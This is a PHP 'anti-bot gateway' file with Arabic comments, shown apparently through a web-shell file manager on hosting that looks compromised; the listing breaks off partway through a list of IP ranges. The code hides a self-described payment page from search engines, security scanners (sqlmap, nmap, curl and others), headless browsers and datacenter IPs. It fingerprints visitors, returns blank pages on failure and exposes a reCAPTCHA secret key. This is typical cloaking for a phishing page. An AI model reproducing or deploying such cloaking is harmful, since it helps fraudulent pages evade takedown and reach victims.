HEX
Server: Apache
System: Linux webm011.cluster110.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User: geyhairs (131609)
PHP: 5.4.45
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/g/e/y/geyhairs/www/kvih6/index.php
<?php
/**
 * ============================================
 *  ANTI-BOT GATEWAY (index.php)
 *  بوابة حماية ضد البوتات + reCAPTCHA v3
 * ============================================
 *
 * كيف يشتغل:
 * 1. الزائر يدخل على هذه الصفحة أولاً
 * 2. السيرفر يعمل فحوصات سريعة (IP, User-Agent, Headers, Cloudflare)
 * 3. لو الفحوصات الأولية فشلت → حظر مباشر
 * 4. لو نجحت → يعرض صفحة تحدي JavaScript تفحص السلوك + reCAPTCHA v3
 * 5. لو الزائر اجتاز التحدي → يحول للصفحة الحقيقية
 */

// ============================================
// Polyfills لدوال PHP 8 (لتشتغل على PHP 7.x)
// ============================================
if (!function_exists('str_contains')) {
    function str_contains(string $haystack, string $needle): bool {
        return $needle === '' || strpos($haystack, $needle) !== false;
    }
}
if (!function_exists('str_starts_with')) {
    function str_starts_with(string $haystack, string $needle): bool {
        return $needle === '' || strncmp($haystack, $needle, strlen($needle)) === 0;
    }
}
if (!function_exists('str_ends_with')) {
    function str_ends_with(string $haystack, string $needle): bool {
        return $needle === '' || substr($haystack, -strlen($needle)) === $needle;
    }
}

// إعدادات الجلسة - لازم تطابق guard.php بالظبط عشان يشاركوا نفس الجلسة
if (session_status() === PHP_SESSION_NONE) {
    session_set_cookie_params([
        'lifetime' => 0,
        'path'     => '/',
        'httponly' => true,
        'samesite' => 'Lax',
        // 'secure' => true,   // فعّلها لما يصير الموقع HTTPS
    ]);
    session_start();
}

// ============================================
// الإعدادات
// ============================================
const CONFIG = [
    'redirect_to'           => 'info.php',          // الصفحة الحقيقية
    'challenge_timeout'     => 1500,                 // ميلي ثانية - الحد الأدنى لحل التحدي (البوت أسرع)
    'challenge_max_time'    => 60000,                // الحد الأقصى (60 ثانية)
    'rate_limit_per_min'    => 30,                   // طلبات لكل IP بالدقيقة
    'session_token_lifetime'=> 3600,                 // عمر التوكن بالثواني
    'log_file'              => __DIR__ . '/logs/security.log',
    'rate_limit_dir'        => __DIR__ . '/cache/ratelimit/',
    'secret_key'            => 'CHANGE_THIS_TO_RANDOM_STRING_xK9mP2vN7qL4', // غيره!
    'require_cloudflare'    => false,                // true لو الموقع خلف Cloudflare بس
    'bot_score_threshold'   => 30,                   // أقل من هذا = بوت (من Cloudflare)

    // ---- إعدادات reCAPTCHA v3 ----
    'recaptcha_sitekey'     => '6LdQAyotAAAAAOGuUkBP4_NdqYKCe9OrxTGTHwUe',
    'recaptcha_secret'      => '6LdQAyotAAAAAFhn7-Ej-TCDZtSb5bwvW7xVTslS',
    'recaptcha_min_score'   => 0.5,                  // 0.0 = بوت مؤكد، 1.0 = إنسان مؤكد
    'recaptcha_action'      => 'gateway',            // اسم الـ action للتحقق منه
    'recaptcha_hard_block'  => true,                 // true = احظر مباشرة لو السكور تحت الحد (hard fail)
                                                     // false = أضف نقاط فقط (soft - الطريقة القديمة)
    'recaptcha_block_score' => 0.5,                  // [صارم] تحت هذا = حظر فوري. (كان 0.3، رفعناه لـ 0.5)
    'automation_hard_block' => true,                 // true = احظر فوراً لو في علامة أتمتة قاطعة (webdriver/selenium)
                                                     // حتى لو reCAPTCHA أعطى سكور عالي. (جوجل ما يقدر يبرّئ بوت واضح)
    'datacenter_penalty'    => 35,                   // نقاط تُضاف لو الـ IP من نطاق datacenter (لما strict مُطفأ)

    // ============================================
    //  ⚡ الوضع الصارم (STRICT MODE) - بوابة دفع
    // ============================================
    // ⚠️ الوضع الصارم بيحظر بقوة أكبر، بس ممكن يحظر نسبة صغيرة من الزبائن
    // الحقيقيين (اللي عندهم ad-blocker، أو على VPN، أو خلل شبكة عابر).
    // لو لقيت إنك بتخسر زبائن، خلّي أي مفتاح تحت = false للتخفيف.

    'strict_mode'           => true,                 // المفتاح الرئيسي للوضع الصارم

    // 1) reCAPTCHA إلزامي: أي فشل (حتى browser-error تقني) = حظر فوري.
    //    معناه: أي زائر ما بيشغّل JS أو reCAPTCHA فشلت عنده = محظور.
    'recaptcha_require'     => true,

    // 3) datacenter/VPN: حظر فوري لكل النطاقات المعروفة (مش نقاط).
    'datacenter_hard_block' => true,
];

// إنشاء المجلدات لو مش موجودة
@mkdir(dirname(CONFIG['log_file']), 0755, true);
@mkdir(CONFIG['rate_limit_dir'], 0755, true);

// ============================================
// التشغيل الرئيسي
// ============================================
$gateway = new AntiBotGateway(CONFIG);

// لو الطلب POST من صفحة التحدي → تحقق من التحدي
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['challenge_response'])) {
    $gateway->verifyChallenge();
    exit;
}

// لو الزائر اجتاز التحدي مسبقاً (session valid) → حوله مباشرة
if ($gateway->hasValidSession()) {
    header('Location: ' . CONFIG['redirect_to']);
    exit;
}

// شغل الفحوصات الأولية
$result = $gateway->runInitialChecks();

if ($result['action'] === 'block') {
    $gateway->blockVisitor($result['reason']);
    exit;
}

// اعرض صفحة التحدي
$gateway->showChallengePage();


// ============================================
// CLASS: AntiBotGateway
// ============================================
class AntiBotGateway
{
    private array $config;
    private string $ip;
    private string $userAgent;
    private array $headers;

    public function __construct(array $config)
    {
        $this->config    = $config;
        $this->ip        = $this->getRealIP();
        $this->userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $this->headers   = $this->getAllHeaders();
    }

    /**
     * فحوصات أولية سريعة على السيرفر
     */
    public function runInitialChecks(): array
    {
        $score = 0;
        $reasons = [];

        // 0) حظر محركات البحث (Googlebot, Bingbot...) 
        // ⚠️ هذي صفحة بوابة دفع خاصة - ما بدنا أي بوت، حتى محركات البحث.
        // ما بدنا الصفحة تنفهرس ولا تظهر بنتائج البحث أصلاً (خصوصية الدفع).
        // نتحقق بالـ IP مش بالـ UA (الـ UA سهل تزييفه).
        if ($this->isKnownBotIP($this->ip)) {
            return ['action' => 'block', 'reason' => 'search_engine_bot_blocked'];
        }

        // 1) فحص Cloudflare (لو متاح)
        $cfBotScore = $_SERVER['HTTP_CF_BOT_SCORE'] ?? null;
        $cfThreatScore = $_SERVER['HTTP_CF_THREAT_SCORE'] ?? null;
        $cfVerifiedBot = $_SERVER['HTTP_CF_VERIFIED_BOT'] ?? null;

        if ($this->config['require_cloudflare'] && !isset($_SERVER['HTTP_CF_RAY'])) {
            return ['action' => 'block', 'reason' => 'not_through_cloudflare'];
        }

        if ($cfBotScore !== null && (int)$cfBotScore < $this->config['bot_score_threshold']) {
            $score += 50;
            $reasons[] = "cf_bot_score:$cfBotScore";
        }

        if ($cfThreatScore !== null && (int)$cfThreatScore > 30) {
            $score += 30;
            $reasons[] = "cf_threat_score:$cfThreatScore";
        }

        // 2) فحص User-Agent
        if (empty($this->userAgent) || strlen($this->userAgent) < 20) {
            $score += 50;
            $reasons[] = 'empty_or_short_ua';
        } elseif ($this->isBadBot($this->userAgent)) {
            $score += 60;
            $reasons[] = 'bad_bot_ua';
        } elseif ($this->isAncientBrowser($this->userAgent)) {
            // متصفحات أثرية (MSIE 8/9, Trident قديم) - ما حدا بيستخدمها اليوم
            // غالباً بوت/سكرابر بيتنكّر. إشارة قوية.
            $score += 40;
            $reasons[] = 'ancient_browser';
        }

        // 3) فحص الـ Headers الأساسية (المتصفحات الحقيقية ترسلها)
        $requiredHeaders = ['Accept', 'Accept-Language', 'Accept-Encoding'];
        foreach ($requiredHeaders as $h) {
            if (empty($this->headers[$h])) {
                $score += 15;
                $reasons[] = "missing_header:$h";
            }
        }

        // 4) فحص Accept-Language (البوتات غالباً ما ترسله أو يكون "*")
        $acceptLang = $this->headers['Accept-Language'] ?? '';
        if ($acceptLang === '*' || $acceptLang === '') {
            $score += 10;
            $reasons[] = 'invalid_accept_lang';
        }

        // 5) فحص rate limit
        if (!$this->checkRateLimit()) {
            return ['action' => 'block', 'reason' => 'rate_limit_exceeded'];
        }

        // 6) فحص الـ IP في الـ blacklist
        if ($this->isBlacklisted()) {
            return ['action' => 'block', 'reason' => 'ip_blacklisted'];
        }

        // 7) فحص Headers مشبوهة (أدوات الـ scraping)
        $suspiciousHeaders = ['HTTP_X_FORWARDED_FOR_PROXY', 'HTTP_VIA', 'HTTP_X_PROXY_ID'];
        foreach ($suspiciousHeaders as $h) {
            if (isset($_SERVER[$h])) {
                $score += 5;
                $reasons[] = "proxy_header:$h";
            }
        }

        // 8) فحص الـ Headers من الـ HTTP Client Hints (المتصفحات الحديثة)
        // غيابها مش دليل قاطع بس مع عوامل ثانية يقوي الشك
        if (!isset($this->headers['Sec-Ch-Ua']) && !isset($this->headers['Sec-Fetch-Site'])) {
            $score += 5;
            $reasons[] = 'no_modern_headers';
        }

        // 9) فحص نطاقات الـ datacenter/hosting
        // المستخدم المنزلي الحقيقي ما بيجي من datacenter. ظهور IP من
        // نطاق hosting (OVH/AWS/إلخ) إشارة قوية على بوت/سكرابر.
        if ($this->isDatacenterIP($this->ip)) {
            // [صارم] حظر فوري لكل نطاقات datacenter/VPN المعروفة
            if (($this->config['strict_mode'] ?? false)
                && ($this->config['datacenter_hard_block'] ?? false)) {
                return ['action' => 'block', 'reason' => 'datacenter_ip_strict'];
            }
            // [عادي] نقاط بس (زبون VPN يقدر يمرق)
            $score += $this->config['datacenter_penalty'];
            $reasons[] = 'datacenter_ip';
        }

        // قرار نهائي
        $this->log('initial_check', [
            'score' => $score,
            'reasons' => $reasons,
            'ip' => $this->ip,
            'ua' => substr($this->userAgent, 0, 100),
        ]);

        if ($score >= 80) {
            return ['action' => 'block', 'reason' => 'high_risk_score:' . $score];
        }

        return ['action' => 'challenge', 'score' => $score];
    }

    /**
     * عرض صفحة التحدي (JavaScript challenge + reCAPTCHA v3)
     */
    public function showChallengePage(): void
    {
        // إنشاء توكن للتحدي
        $challengeToken = bin2hex(random_bytes(16));
        $challengeTime  = microtime(true);
        $expectedAnswer = $this->generateMathChallenge();

        $_SESSION['challenge'] = [
            'token'    => $challengeToken,
            'time'     => $challengeTime,
            'answer'   => $expectedAnswer['answer'],
            'ip'       => $this->ip,
            'ua_hash'  => md5($this->userAgent),
        ];

        $nonce = base64_encode(random_bytes(16));
        // ملاحظة: CSP عُدّلت للسماح بسكربتات reCAPTCHA من جوجل
        header("Content-Security-Policy: script-src 'self' 'nonce-$nonce' https://www.google.com https://www.gstatic.com; frame-src https://www.google.com");
        header('X-Frame-Options: DENY');
        header('X-Content-Type-Options: nosniff');
        header('X-Robots-Tag: noindex, nofollow, noarchive');
        ?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="robots" content="noindex, nofollow">
    <title></title>
    <style>
        html, body { margin: 0; padding: 0; background: #ffffff; height: 100%; }
        /* إخفاء شارة reCAPTCHA (اختياري - راجع الملاحظة بالأسفل) */
        .grecaptcha-badge { visibility: hidden; }
    </style>
    <script nonce="<?= $nonce ?>" src="https://www.google.com/recaptcha/api.js?render=<?= $this->config['recaptcha_sitekey'] ?>"></script>
</head>
<body>
    <script nonce="<?= $nonce ?>" id="challenge-data" type="application/json">
        {
            "token": "<?= $challengeToken ?>",
            "a": <?= $expectedAnswer['a'] ?>,
            "b": <?= $expectedAnswer['b'] ?>,
            "op": "<?= $expectedAnswer['op'] ?>",
            "minTime": <?= $this->config['challenge_timeout'] ?>,
            "sitekey": "<?= $this->config['recaptcha_sitekey'] ?>",
            "action": "<?= $this->config['recaptcha_action'] ?>"
        }
    </script>

    <script nonce="<?= $nonce ?>">
    (function() {
        'use strict';

        const data = JSON.parse(document.getElementById('challenge-data').textContent);
        const startTime = performance.now();

        // إشارات السلوك البشري (لتحليلها لاحقاً)
        const behaviorSignals = {
            mouseMovements: 0,
            keyPresses: 0,
            scrollEvents: 0,
            touchEvents: 0,
            firstInteraction: null,
            screenWidth: screen.width,
            screenHeight: screen.height,
            viewportWidth: window.innerWidth,
            viewportHeight: window.innerHeight,
            colorDepth: screen.colorDepth,
            pixelRatio: window.devicePixelRatio,
            timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
            language: navigator.language,
            languages: navigator.languages ? navigator.languages.join(',') : '',
            platform: navigator.platform,
            hardwareConcurrency: navigator.hardwareConcurrency || 0,
            deviceMemory: navigator.deviceMemory || 0,
            cookiesEnabled: navigator.cookieEnabled,
            doNotTrack: navigator.doNotTrack,
            webdriver: navigator.webdriver || false,  // علامة قوية للأتمتة!
            plugins: navigator.plugins ? navigator.plugins.length : 0,
            hasTouch: 'ontouchstart' in window,
            hasWebGL: detectWebGL(),
            canvasFingerprint: getCanvasFingerprint(),
        };

        function detectWebGL() {
            try {
                const canvas = document.createElement('canvas');
                return !!(canvas.getContext('webgl') || canvas.getContext('experimental-webgl'));
            } catch(e) { return false; }
        }

        function getCanvasFingerprint() {
            try {
                const canvas = document.createElement('canvas');
                const ctx = canvas.getContext('2d');
                ctx.textBaseline = 'top';
                ctx.font = '14px Arial';
                ctx.fillStyle = '#f60';
                ctx.fillRect(0, 0, 50, 20);
                ctx.fillStyle = '#069';
                ctx.fillText('AntiBot', 2, 15);
                return canvas.toDataURL().substring(0, 50);
            } catch(e) { return 'error'; }
        }

        // رصد التفاعلات
        document.addEventListener('mousemove', () => {
            behaviorSignals.mouseMovements++;
            if (!behaviorSignals.firstInteraction) {
                behaviorSignals.firstInteraction = performance.now() - startTime;
            }
        }, { passive: true });

        document.addEventListener('keydown', () => behaviorSignals.keyPresses++, { passive: true });
        document.addEventListener('scroll', () => behaviorSignals.scrollEvents++, { passive: true });
        document.addEventListener('touchstart', () => behaviorSignals.touchEvents++, { passive: true });

        // كشف أدوات الأتمتة الشائعة
        const automationFlags = {
            webdriver: navigator.webdriver === true,
            phantom: !!window._phantom || !!window.callPhantom,
            selenium: !!window.document.documentElement.getAttribute('selenium') ||
                      !!window.document.documentElement.getAttribute('webdriver') ||
                      !!window.document.documentElement.getAttribute('driver'),
            puppeteer: navigator.userAgent.toLowerCase().includes('headless'),
            chromeAutomation: !!window.chrome && !window.chrome.runtime && navigator.webdriver,
        };

        // حل التحدي الرياضي
        let answer;
        switch(data.op) {
            case '+': answer = data.a + data.b; break;
            case '-': answer = data.a - data.b; break;
            case '*': answer = data.a * data.b; break;
            default:  answer = 0;
        }

        // قفل يمنع الإرسال أكثر من مرة (يمنع توكن مكرر = browser-error/duplicate)
        let submitted = false;

        // إرسال النتيجة بعد جلب توكن reCAPTCHA + انتظار الحد الأدنى من الوقت
        function submit() {
            // لو أُرسل مسبقاً، لا تكرر أبداً
            if (submitted) return;

            const elapsed = performance.now() - startTime;

            // البشر يحتاجون وقت - انتظر الحد الأدنى
            if (elapsed < data.minTime) {
                setTimeout(submit, data.minTime - elapsed + 100);
                return;
            }

            // اقفل فوراً قبل أي عملية async (يضمن مرة واحدة بس)
            submitted = true;

            // اجلب توكن reCAPTCHA v3 طازج لحظة الإرسال مباشرة، ثم أرسل
            grecaptcha.ready(function() {
                grecaptcha.execute(data.sitekey, { action: data.action })
                .then(function(recaptchaToken) {
                    // لو ما رجع توكن صالح، لا ترسل (يمنع browser-error من توكن فاضي)
                    if (!recaptchaToken) {
                        window.stop();
                        return;
                    }

                    const payload = {
                        challenge_response: answer,
                        token: data.token,
                        elapsed: performance.now() - startTime,
                        behavior: behaviorSignals,
                        automation: automationFlags,
                        recaptcha_token: recaptchaToken,
                    };

                    fetch(window.location.href, {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
                        body: 'challenge_response=' + encodeURIComponent(JSON.stringify(payload)),
                        credentials: 'same-origin',
                    })
                    .then(r => r.json())
                    .then(res => {
                        if (res.success && res.redirect) {
                            window.location.replace(res.redirect);
                        } else {
                            // فشل صامت - الصفحة تبقى بيضاء
                            window.stop();
                        }
                    })
                    .catch(() => {
                        // خطأ صامت
                    });
                })
                .catch(function() {
                    // فشل تحميل/تنفيذ reCAPTCHA - خطأ صامت
                    window.stop();
                });
            });
        }

        // ابدأ العملية مرة واحدة (القفل داخل submit يمنع أي تكرار)
        setTimeout(submit, data.minTime);
    })();
    </script>
</body>
</html>
        <?php
    }

    /**
     * التحقق من إجابة التحدي
     */
    public function verifyChallenge(): void
    {
        header('Content-Type: application/json');

        if (!isset($_SESSION['challenge'])) {
            echo json_encode(['success' => false, 'message' => 'no_challenge_session']);
            return;
        }

        $challenge = $_SESSION['challenge'];
        $rawPayload = $_POST['challenge_response'] ?? '';
        $payload = json_decode($rawPayload, true);

        if (!$payload || !is_array($payload)) {
            echo json_encode(['success' => false, 'message' => 'invalid_payload']);
            return;
        }

        $score = 0;
        $reasons = [];

        // 1) تحقق من التوكن
        if (($payload['token'] ?? '') !== $challenge['token']) {
            $this->log('challenge_failed', ['reason' => 'invalid_token', 'ip' => $this->ip]);
            echo json_encode(['success' => false, 'message' => 'invalid_token']);
            return;
        }

        // 2) تحقق من الـ IP/UA ما تغيرت
        if ($challenge['ip'] !== $this->ip || $challenge['ua_hash'] !== md5($this->userAgent)) {
            $this->log('challenge_failed', ['reason' => 'session_hijack', 'ip' => $this->ip]);
            echo json_encode(['success' => false, 'message' => 'session_mismatch']);
            return;
        }

        // 3) تحقق من الإجابة الرياضية
        if ((int)($payload['challenge_response'] ?? -999) !== $challenge['answer']) {
            $this->log('challenge_failed', ['reason' => 'wrong_answer', 'ip' => $this->ip]);
            echo json_encode(['success' => false, 'message' => 'wrong_answer']);
            return;
        }

        // 4) فحص reCAPTCHA v3
        $recaptcha = $this->verifyRecaptcha($payload['recaptcha_token'] ?? '');
        if ($recaptcha['success']) {
            $rScore = $recaptcha['score'];

            // --- hard fail: سكور واطي مؤكد = حظر فوري ---
            // ملاحظة: نحظر فقط لو جوجل رجّع سكور واضح إنه بوت (block_score).
            // المنطقة الرمادية (بين block_score و min_score) بتاخد نقاط بس،
            // عشان باقي الفحوصات السلوكية تحكم فيها.
            if ($this->config['recaptcha_hard_block']
                && $rScore < $this->config['recaptcha_block_score']) {

                $this->log('challenge_failed', [
                    'reason'          => 'recaptcha_hard_block',
                    'recaptcha_score' => $rScore,
                    'ip'              => $this->ip,
                ]);
                unset($_SESSION['challenge']);
                $this->addToBlacklist($this->ip, 'recaptcha_low_score:' . $rScore);
                echo json_encode(['success' => false, 'message' => 'verification_failed']);
                return;
            }

            // منطقة رمادية: تحت min_score بس فوق block_score = نقاط
            if ($rScore < $this->config['recaptcha_min_score']) {
                $score += 40;
                $reasons[] = 'recaptcha_low_score:' . $rScore;
            }

            // تحقق من تطابق الـ action (يمنع استخدام توكن من صفحة ثانية)
            if ($recaptcha['action'] !== $this->config['recaptcha_action']) {
                $score += 25;
                $reasons[] = 'recaptcha_action_mismatch:' . $recaptcha['action'];
            }
        } else {
            // التوكن فشل.
            $err = $recaptcha['error'];

            // [صارم] reCAPTCHA إلزامي: أي فشل = حظر فوري (حتى browser-error تقني).
            // معناه: أي زائر ما بيشغّل JS، أو reCAPTCHA فشلت عنده لأي سبب = محظور.
            // ⚠️ هذا بيحظر نسبة صغيرة من الزبائن الحقيقيين (ad-blocker/شبكة عابرة).
            if (($this->config['strict_mode'] ?? false)
                && ($this->config['recaptcha_require'] ?? false)) {

                $this->log('challenge_failed', [
                    'reason' => 'recaptcha_required_strict:' . $err,
                    'ip'     => $this->ip,
                ]);
                unset($_SESSION['challenge']);
                $this->addToBlacklist($this->ip, 'recaptcha_required_strict:' . $err);
                echo json_encode(['success' => false, 'message' => 'verification_failed']);
                return;
            }

            // [عادي] تمييز الأخطاء العابرة عن الجدية (لما strict مُطفأ):
            // browser-error / timeout-or-duplicate / verify_unreachable = عابرة
            $transientErrors = ['browser-error', 'timeout-or-duplicate', 'verify_unreachable'];

            $isTransient = false;
            foreach ($transientErrors as $te) {
                if (str_contains($err, $te)) { $isTransient = true; break; }
            }

            if ($isTransient) {
                $score += 15;   // عقوبة خفيفة - باقي الفحوصات بتحكم
                $reasons[] = 'recaptcha_transient:' . $err;
            } else {
                // أخطاء جدية (invalid-input-response, missing-input-response, إلخ)
                // غالباً توكن مزيّف أو مفقود = إشارة بوت أقوى
                $score += 35;
                $reasons[] = 'recaptcha_hard_fail:' . $err;
            }
        }

        // 5) تحقق من الوقت (البوت بيحل بسرعة، البشر أبطأ)
        $elapsed = (float)($payload['elapsed'] ?? 0);
        if ($elapsed < $this->config['challenge_timeout'] * 0.8) {
            $score += 30;
            $reasons[] = 'too_fast';
        }
        if ($elapsed > $this->config['challenge_max_time']) {
            $score += 20;
            $reasons[] = 'too_slow';
        }

        // 6) فحص علامات الأتمتة
        $automation = $payload['automation'] ?? [];
        $definiteAutomation = false;
        foreach ($automation as $key => $val) {
            if ($val === true) {
                $score += 40;
                $reasons[] = "automation:$key";
                // webdriver/selenium/phantom = علامات قاطعة (مش ظنّية)
                if (in_array($key, ['webdriver', 'selenium', 'phantom'], true)) {
                    $definiteAutomation = true;
                }
            }
        }

        // 7) فحص السلوك
        $behavior = $payload['behavior'] ?? [];

        if (($behavior['webdriver'] ?? false) === true) {
            $score += 50;
            $reasons[] = 'webdriver_flag';
            $definiteAutomation = true;
        }

        // --- حظر قاطع على الأتمتة (جوجل ما يقدر يبرّئ بوت واضح) ---
        // لو في علامة أتمتة مؤكدة، احظر فوراً مهما كان سكور reCAPTCHA.
        // هاد بيسدّ الثغرة: بوت بـ residential proxy ياخد سكور عالي من جوجل
        // بس webdriver بيفضحه. السلوك القاطع بيغلب سكور جوجل.
        if ($this->config['automation_hard_block'] && $definiteAutomation) {
            $this->log('challenge_failed', [
                'reason'          => 'automation_detected',
                'ip'              => $this->ip,
                'recaptcha_score' => $recaptcha['score'] ?? null,
                'flags'           => $reasons,
            ]);
            unset($_SESSION['challenge']);
            $this->addToBlacklist($this->ip, 'automation_hard_block');
            echo json_encode(['success' => false, 'message' => 'verification_failed']);
            return;
        }

        // ما في أي حركة ماوس ولا لمس ولا scroll
        // ملاحظة: عقوبة خفيفة (5) لأن صفحة البوابة بيضاء وبتتحوّل بسرعة،
        // فناس حقيقيين كتير ما بيتفاعلوا معها. ما بنعتمد عليها كإشارة قوية.
        $totalInteractions = ($behavior['mouseMovements'] ?? 0)
                           + ($behavior['touchEvents'] ?? 0)
                           + ($behavior['scrollEvents'] ?? 0)
                           + ($behavior['keyPresses'] ?? 0);

        if ($totalInteractions === 0 && $elapsed > 2000) {
            $score += 5;
            $reasons[] = 'no_interaction';
        }

        // أبعاد شاشة غير منطقية (Headless browsers)
        $sw = (int)($behavior['screenWidth'] ?? 0);
        $sh = (int)($behavior['screenHeight'] ?? 0);
        if ($sw === 0 || $sh === 0 || $sw < 100 || $sh < 100) {
            $score += 25;
            $reasons[] = 'invalid_screen';
        }

        // ما في WebGL ولا canvas (Headless غالباً)
        if (!($behavior['hasWebGL'] ?? true)) {
            $score += 15;
            $reasons[] = 'no_webgl';
        }

        if (($behavior['canvasFingerprint'] ?? '') === 'error') {
            $score += 10;
            $reasons[] = 'canvas_error';
        }

        // ما في plugins ولا hardware concurrency (Headless)
        if (($behavior['hardwareConcurrency'] ?? 0) === 0) {
            $score += 10;
            $reasons[] = 'no_hw_concurrency';
        }

        // 8) القرار النهائي
        $this->log('challenge_complete', [
            'ip' => $this->ip,
            'score' => $score,
            'reasons' => $reasons,
            'elapsed' => $elapsed,
            'recaptcha_score' => $recaptcha['score'] ?? null,
        ]);

        // مسح التحدي
        unset($_SESSION['challenge']);

        if ($score >= 50) {
            // مشبوه → احظر
            $this->addToBlacklist($this->ip, 'failed_behavior_check');
            echo json_encode(['success' => false, 'message' => 'verification_failed']);
            return;
        }

        // نجح → أنشئ جلسة موثقة
        $_SESSION['verified'] = [
            'token'    => bin2hex(random_bytes(32)),
            'verified_at' => time(),
            'expires'  => time() + $this->config['session_token_lifetime'],
            'ip'       => $this->ip,
            'ua_hash'  => md5($this->userAgent),
        ];

        echo json_encode([
            'success'  => true,
            'redirect' => $this->config['redirect_to'],
        ]);
    }

    /**
     * فحص هل في جلسة موثقة سابقة
     */
    public function hasValidSession(): bool
    {
        if (!isset($_SESSION['verified'])) return false;
        $v = $_SESSION['verified'];
        if ($v['expires'] < time()) {
            unset($_SESSION['verified']);
            return false;
        }
        if ($v['ip'] !== $this->ip || $v['ua_hash'] !== md5($this->userAgent)) {
            unset($_SESSION['verified']);
            return false;
        }
        return true;
    }

    /**
     * صفحة الحظر
     */
    public function blockVisitor(string $reason): void
    {
        $this->log('blocked', ['ip' => $this->ip, 'reason' => $reason, 'ua' => substr($this->userAgent, 0, 200)]);
        http_response_code(403);
        header('Content-Type: text/html; charset=UTF-8');
        header('X-Robots-Tag: noindex, nofollow, noarchive');
        ?>
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title></title>
<style>html,body{margin:0;padding:0;background:#fff;height:100%;}</style>
</head><body></body></html>
        <?php
    }

    // ============================================
    // الدوال المساعدة
    // ============================================

    private function getRealIP(): string
    {
        // ترتيب الأولوية: Cloudflare > X-Real-IP > X-Forwarded-For > REMOTE_ADDR
        foreach (['HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'] as $key) {
            if (!empty($_SERVER[$key])) {
                $ip = explode(',', $_SERVER[$key])[0];
                $ip = trim($ip);
                if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
            }
        }
        return '0.0.0.0';
    }

    private function getAllHeaders(): array
    {
        if (function_exists('getallheaders')) return getallheaders() ?: [];
        $headers = [];
        foreach ($_SERVER as $k => $v) {
            if (str_starts_with($k, 'HTTP_')) {
                $name = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($k, 5)))));
                $headers[$name] = $v;
            }
        }
        return $headers;
    }

    private function isBadBot(string $ua): bool
    {
        $bad = [
            'curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client',
            'java/', 'okhttp', 'axios', 'node-fetch', 'phantomjs',
            'headlesschrome', 'selenium', 'puppeteer', 'playwright',
            'scrapy', 'masscan', 'nmap', 'sqlmap', 'nikto', 'libwww-perl',
        ];
        $uaLower = strtolower($ua);

        // استثناء البوتات الجيدة (محركات البحث)
        $good = ['googlebot', 'bingbot', 'duckduckbot', 'slurp', 'yandexbot', 'baiduspider'];
        foreach ($good as $g) {
            if (str_contains($uaLower, $g)) return false;
        }

        foreach ($bad as $b) {
            if (str_contains($uaLower, $b)) return true;
        }
        return false;
    }

    /**
     * كشف المتصفحات الأثرية (MSIE 8/9, Trident قديم)
     * هاي المتصفحات تقريباً منقرضة، فظهورها اليوم غالباً بوت متنكّر.
     * ملاحظة: MSIE 11 / Trident 7 لسه موجود بنسبة ضئيلة، فما بنعاقبه هون.
     */
    private function isAncientBrowser(string $ua): bool
    {
        // MSIE 6/7/8/9/10 = قديمة جداً
        if (preg_match('/MSIE [6-9]\.0/i', $ua)) return true;
        if (preg_match('/MSIE 10\.0/i', $ua)) return true;
        // Trident/4.0 (IE8), /5.0 (IE9), /6.0 (IE10) = قديمة
        if (preg_match('/Trident\/[4-6]\.0/i', $ua)) return true;
        return false;
    }

    /**
     * كشف هل الـ IP من نطاق datacenter/hosting معروف.
     *
     * ⚠️ ملاحظات مهمة:
     * - هذي قائمة جزئية لأشهر الموفّرين. مش شاملة - رح يفوت بعض البوتات.
     * - الحل الأقوى والأشمل هو Cloudflare (HTTP_CF_BOT_SCORE) لما يصير الدومين Active.
     * - النطاقات بتتغيّر، فحدّثها كل فترة من قوائم ASN العامة.
     * - النطاقات أدناه تشمل OVH (اللي ظهر بكثرة في اللوج)، AWS، Google Cloud،
     *   DigitalOcean، Hetzner، Azure، Linode، وغيرهم.
     */
    private function isDatacenterIP(string $ip): bool
    {
        // فقط IPv4 (الـ IPv6 نتركه لـ Cloudflare لاحقاً)
        if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
            return false;
        }

        // قائمة CIDR لنطاقات hosting شائعة
        $ranges = [
            // ---- OVH (ظهر بكثرة في لوجك) ----
            '51.38.0.0/16', '51.68.0.0/16', '51.75.0.0/16', '51.77.0.0/16',
            '51.79.0.0/16', '51.83.0.0/16', '51.89.0.0/16', '51.91.0.0/16',
            '51.195.0.0/16', '51.222.0.0/16', '51.254.0.0/16', '51.255.0.0/16',
            '54.36.0.0/16', '54.37.0.0/16', '54.38.0.0/16', '54.39.0.0/16',
            '79.137.0.0/16', '91.121.0.0/16', '91.134.0.0/16', '92.222.0.0/16',
            '94.23.0.0/16', '137.74.0.0/16', '139.99.0.0/16', '141.94.0.0/16',
            '141.95.0.0/16', '145.239.0.0/16', '146.59.0.0/16', '147.135.0.0/16',
            '149.202.0.0/16', '151.80.0.0/16', '158.69.0.0/16', '164.132.0.0/16',
            '167.114.0.0/16', '176.31.0.0/16', '178.32.0.0/16', '188.165.0.0/16',
            '192.99.0.0/16', '193.70.0.0/16', '198.27.64.0/18', '213.32.0.0/16',
            '217.182.0.0/16',
            // ---- OVH نطاقات إضافية (ظهرت في اللوج لاحقاً) ----
            // ⚠️ ملاحظة: شِلنا 185.106.112.0/22 و 194.223.0.0/16 لأنهم فلّغوا
            // زوار حقيقيين عدّوا بـ reCAPTCHA 0.9. النطاقات الكبيرة أحياناً
            // فيها مستخدمين شرعيين. الدرس: تأكّد من اللوج قبل إضافة أي نطاق.
            '5.135.0.0/16', '5.196.0.0/16', '37.59.0.0/16', '37.187.0.0/16',
            '46.105.0.0/16', '87.98.0.0/16', '142.44.0.0/16', '144.217.0.0/16',
            '146.120.0.0/16', '178.33.0.0/16', '198.50.128.0/17',
            // ---- AWS ----
